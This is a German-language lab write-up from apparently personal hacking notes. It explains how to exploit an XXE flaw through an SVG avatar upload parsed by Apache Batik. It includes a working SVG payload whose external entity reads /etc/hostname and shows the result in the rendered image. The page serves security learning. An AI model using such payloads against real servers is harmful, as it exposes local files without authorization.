> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xxe/xxe-via-malicious-image-upload.md).

# XXE über bösartigen Bild-Upload

### Ausnutzen von XXE über den Bild-Datei-Upload

Ausnutzen einer XXE-Schwachstelle durch Senden eines bösartigen Bildes (SVG), das während der Verarbeitung durch die Apache-Batik-Bibliothek den Inhalt einer lokalen Datei preisgibt. Die Übung erfordert das Hochladen eines SVG-Avatars, der `/etc/hostname` den Inhalt anzeigt und anschließend den Hostnamen als Lösung einzureichen.

Die Website bietet ein Formular zum Hinzufügen eines Avatars für Kommentare. Durch das Abfangen des d

<figure><img src="/files/1787365bc90e56fb6a39024ba7ed3926b554ec2b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/246075bdbed612cc5187119f0bde88ca4cbb7caa" alt=""><figcaption></figcaption></figure>

Erstelle eine SVG-Datei, die eine `<!DOCTYPE>` Anweisung enthält, die eine externe Entität definiert, die auf `file:///etc/hostname` verweist, und füge diese Entität dann in den SVG-Text ein, sodass nach dem Rendern/Verarbeiten der Inhalt der Datei in das angezeigte Bild eingefügt wird.

```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

<figure><img src="/files/acb0c7b4273e8f32f52288a33570acc20ec5553a" alt=""><figcaption></figcaption></figure>

Nach dem Hochladen zeigt die Anzeige des Avatars im Kommentarbereich, dass der Server das SVG interpretiert und den Entitätswert zurückgegeben hat — den Inhalt von `/etc/hostname` erscheint im Bild, sodass der Hostname ausgelesen und die Lösung eingereicht werden kann.

<figure><img src="/files/47ec815272ac41b120e80dcabf6858d7edd9e1fc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xxe/xxe-via-malicious-image-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
